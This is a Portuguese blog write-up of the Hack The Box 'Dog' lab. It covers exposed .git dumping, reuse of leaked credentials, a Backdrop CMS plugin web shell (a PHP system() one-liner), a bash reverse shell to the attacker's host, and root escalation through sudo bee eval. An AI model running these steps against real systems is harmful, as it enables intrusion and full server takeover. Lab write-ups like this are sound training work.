HTB - Dog - Exposed Sensitive Information

Um diretório .git exposto é uma configuração incorreta onde o código-fonte de uma aplicação Web fica acessível publicamente. Isso geralmente ocorre quando um desenvolvedor carrega o diretório inteiro do projeto (incluindo metadados de controle de versão) para o Github sem restrições adequadas. Quando isso acontece, um invasor pode reconstruir toda a base de código e obter informações confidenciais, como credenciais em arquivos de configuração.

Recon 

NMAP 

nmap -Pn -T4 -sV -sC [IP]

Portas 22/SSH e 80/HTTP

CMS Backdrop e servidor web Apache 2.4.41


O resultado do NMAP revela que existe o diretório /.git exposto


O diretório possui a listagem habilitada


Para fazer o download do repositório completo usamos a ferramenta Git-Dumper 

python3 git-dumper.py [URL] repo


Todos os arquivos são baixados para a máquina local dentro do diretório "repo" (nome adicionado no comando da ferramenta)


No arquivo settings.php encontrei a configuração de acesso ao banco de dados com usuário "root" e a senha. Em seguida, testei o acesso com os usuários root, admin e dog@dog.htb, sendo esse último localizado no log de commit em /logs/HEAD


A senha não funcionou com os usuários citados acima, e ao buscar por palavras específicas nos arquivos usando o comando 

grep -r '[palavra]' . 

Encontrei o usuário tiffany ao buscar por '@dog.htb' (grep -r 'dog.htb' .)


Ao usar o username tiffany@got.htb e a senha descoberta no arquivo settings.php, o acesso é realizado com sucesso. Após o acesso, confirmei que o usuário tem permissão de administrador na aplicação. 



Ao pesquisar no Exploit DB por Backdrop, encontrei o exploit Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE). No entanto, esse exploit apenas cria um arquivo shell para fazer o upload manual na aplicação. Com o arquivo gerado, o upload manual não funcionou. 


Modifiquei a busca de "Backdrop exploit" para "Backdrop CVE", e encontrei no CVE Details informação sobre as CVEs publicadas relacionadas com o CMS. Em sua maioria são XSS e apenas 1 de CSRF. 


CVE-2021-45268


Nos links de referência da CVE, tem o repositório com o plugin modificado para execução da web shell. 





Após fazer o upload, é necessário habilitar o plugin. 



A execução remota de códigos ocorre pela web shell através do acesso: 

http://[IP]/modules/reference/shell.php?cmd=id

A falha consiste no fato de que não existe uma proteção contra a execução remota de código, o que permite a qualquer usuário executar comandos no servidor explorando a aplicação. 

O arquivo shell.php é adicionado junto aos arquivos do plugin, e consiste em um código simples para execução de comandos <?php system($_GET['cmd']);?>


Apesar da web shell funcionar, a execução é instável, sendo necessário reinstalar e habilitar o plugin diversas vezes. 

O próximo passo é executar uma shell reversa e obter acesso ao servidor. O código da shell reversa é inserido na requisição: 

bash -c 'bash -i >%26 /dev/tcp/[IP-KALI]/443 0>%261'



Enumeração interna

O servidor possui dois usuários jobert e johncusack, e a senha capturada no repositório do Github é a mesma para o usuário johncusack. Logo o acesso através do sudo e SSH funcionaram. 


A enumeração do sudo -l revela que o usuário johncusack tem permissão de root para executar a ferramenta Bee. Ao acessar o help da ferramenta, podemos ver diversos comandos, e para a escalação de privilégios, o mais interessante é a opção eval


Essa opção executa código PHP, logo se o usuário tem permissão de root para executar a ferramenta com a opção eval, poderá executar um comando para elevar o privilégio de acesso ao servidor. 

A tentativa de ler o arquivo root.txt dentro do diretório root falha. 


A ferramente Bee é específica para o CMS Backdrop, e portanto, somente pode ser executada dentro do contexto de instalação do CMS em /var/www/html


Ao acessar o diretório /var/www/html/ e executar o comando para ler o arquivo root.txt no diretório /root, obtemos a chave final do laboratório. 

sudo bee --root ev "system('cat /root/root.txt')"



#HACKINGBR




Comentários

Postagens mais visitadas